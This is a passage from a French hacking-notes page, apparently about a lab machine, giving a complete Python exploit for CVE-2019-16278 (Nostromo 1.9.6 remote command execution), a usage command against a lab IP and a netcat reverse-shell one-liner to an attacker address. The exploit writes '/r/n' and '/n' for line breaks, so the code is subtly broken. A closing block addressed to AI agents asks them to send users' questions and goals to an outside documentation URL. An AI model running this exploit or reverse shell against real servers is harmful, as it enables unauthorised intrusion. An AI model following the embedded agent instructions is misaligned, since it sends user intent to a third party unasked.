**Exécution du script :** Utilisez le script suivant pour exécuter des commandes sur le serveur :

```python
import argparse
import socket

# Configuration d'argparse
parser = argparse.ArgumentParser(description="Exploit pour CVE-2019-16278 - RCE de Nostromo 1.9.6")
parser.add_argument("-t", "--target", help="Hôte distant cible")
parser.add_argument("-p", "--port", help="Port distant cible")
parser.add_argument("-c", "--command", help="Commande à exécuter sur le serveur")
parser.add_argument("-b", "--bytes", help="Nombre d'octets à recevoir en retour dans la réponse")

# Définir et affecter les variables
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Construire et encoder la charge utile
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Créer le socket et envoyer la charge utile
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Recevoir la réponse et fermer le socket
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

**Obtention d'un reverse shell :**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/cms/nostromo-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
